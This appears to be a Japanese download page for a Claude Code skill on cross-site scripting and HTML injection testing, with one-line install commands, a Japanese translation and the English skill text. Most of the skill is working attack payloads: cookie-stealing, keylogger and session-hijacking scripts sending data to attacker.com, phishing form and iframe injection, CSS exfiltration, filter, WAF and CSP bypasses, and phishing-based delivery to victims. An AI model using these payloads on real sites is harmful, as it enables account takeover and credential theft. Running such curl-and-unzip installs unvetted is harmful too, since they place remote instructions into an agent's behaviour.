cross-site-scripting-and-html-injection-testing
This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o cross-site-scripting-and-html-injection-testing.zip https://jpskill.com/download/20176.zip && unzip -o cross-site-scripting-and-html-injection-testing.zip && rm cross-site-scripting-and-html-injection-testing.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/20176.zip -OutFile "$d\cross-site-scripting-and-html-injection-testing.zip"; Expand-Archive "$d\cross-site-scripting-and-html-injection-testing.zip" -DestinationPath $d -Force; ri "$d\cross-site-scripting-and-html-injection-testing.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
cross-site-scripting-and-html-injection-testing.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
cross-site-scripting-and-html-injection-testingフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-18
- 取得日時
- 2026-05-18
- 同梱ファイル
- 1
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
[Skill 名] cross-site-scripting-and-html-injection-testing
クロスサイトスクリプティングおよびHTMLインジェクションのテスト
目的
Webアプリケーションに対して包括的なクライアントサイドインジェクション脆弱性評価を実行し、XSSおよびHTMLインジェクションの欠陥を特定し、セッションハイジャックや認証情報窃盗のための悪用技術を実証し、入力サニタイゼーションおよび出力エンコーディングメカニズムを検証します。このスキルにより、Stored、Reflected、およびDOM-basedの攻撃ベクトル全体にわたる体系的な検出と悪用が可能になります。
入力 / 前提条件
必要なアクセス
- ユーザー入力フィールドを持つターゲットWebアプリケーションのURL
- リクエスト分析のためのBurp Suiteまたはブラウザ開発者ツール
- Stored XSSテストのためのテストアカウント作成アクセス
- JavaScriptコンソールが有効なブラウザ
技術的要件
- ブラウザコンテキストでのJavaScript実行の理解
- HTML DOM構造と操作の知識
- HTTPリクエスト/レスポンスヘッダーの知識
- クッキー属性とセッション管理の理解
法的前提条件
- セキュリティテストのための書面による承認
- ターゲットドメインと機能を含む定義されたスコープ
- 取得されたセッションデータの取り扱いに関する合意
- インシデント対応手順の確立
出力 / 成果物
- 深刻度分類を含むXSS/HTMLi脆弱性レポート
- 影響を示す概念実証ペイロード
- セッションハイジャックのデモンストレーション(管理された環境)
- CSP構成を含む修正推奨事項
コアワークフロー
フェーズ1:脆弱性の検出
入力反映ポイントの特定
ユーザー入力がレスポンスに反映される領域を特定します。
# 一般的なインジェクションベクトル
- 検索ボックスとクエリパラメータ
- ユーザープロファイルフィールド(名前、自己紹介、コメント)
- URLフラグメントとハッシュ値
- ユーザー入力を表示するエラーメッセージ
- クライアントサイド検証のみのフォームフィールド
- 隠しフォームフィールドとパラメータ
- HTTPヘッダー(User-Agent、Referer)
基本的な検出テスト
テスト文字列を挿入してアプリケーションの動作を観察します。
<!-- 基本的な反映テスト -->
<test123>
<!-- スクリプトタグテスト -->
<script>alert('XSS')</script>
<!-- イベントハンドラテスト -->
<img src=x onerror=alert('XSS')>
<!-- SVGベースのテスト -->
<svg onload=alert('XSS')>
<!-- Bodyイベントテスト -->
<body onload=alert('XSS')>
以下を監視します。
- エンコーディングなしの生のHTML反映
- 部分的なエンコーディング(一部の文字がエスケープされている)
- ブラウザコンソールでのJavaScript実行
- インスペクタで確認できるDOMの変更
XSSタイプの決定
Stored XSSの指標:
- ページ更新後も入力が持続する
- 他のユーザーが注入されたコンテンツを見る
- コンテンツがデータベース/ファイルシステムに保存されている
Reflected XSSの指標:
- 入力が現在のレスポンスにのみ表示される
- 被害者が作成されたURLをクリックする必要がある
- セッション間で持続性がない
DOM-Based XSSの指標:
- 入力がクライアントサイドJavaScriptによって処理される
- サーバーレスポンスにペイロードが含まれていない
- 悪用が完全にブラウザ内で発生する
フェーズ2:Stored XSSの悪用
保存場所の特定
永続的なユーザーコンテンツを持つ領域をターゲットにします。
- コメントセクションとフォーラム
- ユーザープロファイルフィールド(表示名、自己紹介、場所)
- 製品レビューと評価
- プライベートメッセージとチャットシステム
- ファイルアップロードメタデータ(ファイル名、説明)
- 構成設定とプリファレンス
永続的なペイロードの作成
<!-- クッキー窃盗ペイロード -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- キーロガーインジェクション -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- セッションハイジャック -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- フィッシングフォームインジェクション -->
<div id="login">
<h2>セッションが期限切れです - ログインしてください</h2>
<form action="http://attacker.com/phish" method="POST">
ユーザー名: <input name="user"><br>
パスワード: <input type="password" name="pass"><br>
<input type="submit" value="ログイン">
</form>
</div>
フェーズ3:Reflected XSSの悪用
悪意のあるURLの構築
XSSペイロードを含むURLを構築します。
# 基本的なReflectedペイロード
https://target.com/search?q=<script>alert(document.domain)</script>
# URLエンコードされたペイロード
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# パラメータ内のイベントハンドラ
https://target.com/page?name="><img src=x onerror=alert(1)>
# フラグメントベース(DOM XSS用)
https://target.com/page#<script>alert(1)</script>
配信方法
Reflected XSSを被害者に配信するための技術です。
1. 作成されたリンクを含むフィッシングメール
2. ソーシャルメディアメッセージの配布
3. ペイロードを隠すためのURL短縮サービス
4. 悪意のあるURLをエンコードするQRコード
5. 信頼できるドメインを介したリダイレクトチェーン
フェーズ4:DOM-Based XSSの悪用
脆弱なシンクの特定
ユーザー入力を処理するJavaScript関数を特定します。
// 危険なシンク
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
ソースの特定
ユーザー制御データがアプリケーションに入る場所を特定します。
// ユーザー制御可能なソース
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSSペイロード
// ハッシュベースのインジェクション
https://target.com/page#<img src=x onerror=alert(1)>
// URLパラメータインジェクション(クライアントサイドで処理される)
https://target.com/page?default=<script>alert(1)</script>
// PostMessageの悪用
// 攻撃者ページで:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
フェーズ5:HTMLインジェクション技術
Reflected HTMLインジェクション
JavaScriptなしでページの外観を変更します。
<!-- コンテンツインジェクション -->
<h1>サイトがハッキングされました</h1>
<!-- フォームハイジャック -->
<form action="htt 📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:
- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
Reflected XSS Indicators:
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
DOM-Based XSS Indicators:
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
Craft Persistent Payloads
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Phase 3: Reflected XSS Exploitation
Construct Malicious URLs
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Delivery Methods
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Phase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Identify Sources
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSS Payloads
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Phase 5: HTML Injection Techniques
Reflected HTML Injection
Modify page appearance without JavaScript:
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Stored HTML Injection
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
Phase 6: Filter Bypass Techniques
Tag and Attribute Variations
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
Encoding Bypass
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- Hex encoding -->
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
JavaScript Obfuscation
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
Whitespace and Comment Bypass
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
Quick Reference
XSS Detection Checklist
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
Common XSS Payloads
| Context | Payload |
|---|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
| SVG context | <svg onload=alert(1)> |
Cookie Theft Payload
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
Session Hijacking Template
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
Examples
Example 1: Stored XSS in Comment Section
Scenario: Blog comment feature vulnerable to stored XSS
Detection:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation: Comment renders and script executes for all viewers
Exploitation Payload:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result: Every user viewing the comment has their session cookie sent to attacker's server.
Example 2: Reflected XSS via Search Parameter
Scenario: Search results page reflects query without encoding
Vulnerable URL:
https://shop.example.com/search?q=test
Detection Test:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery: URL sent via phishing email to target user.
Example 3: DOM-Based XSS via Hash Fragment
Scenario: JavaScript reads URL hash and inserts into DOM
Vulnerable Code:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result: Script executes entirely client-side; payload never touches server.
Example 4: CSP Bypass via JSONP Endpoint
Scenario: Site has CSP but allows trusted CDN
CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result: CSP bypassed using allowed script source.
Troubleshooting
| Issue | Solutions |
|---|---|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with " or '; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |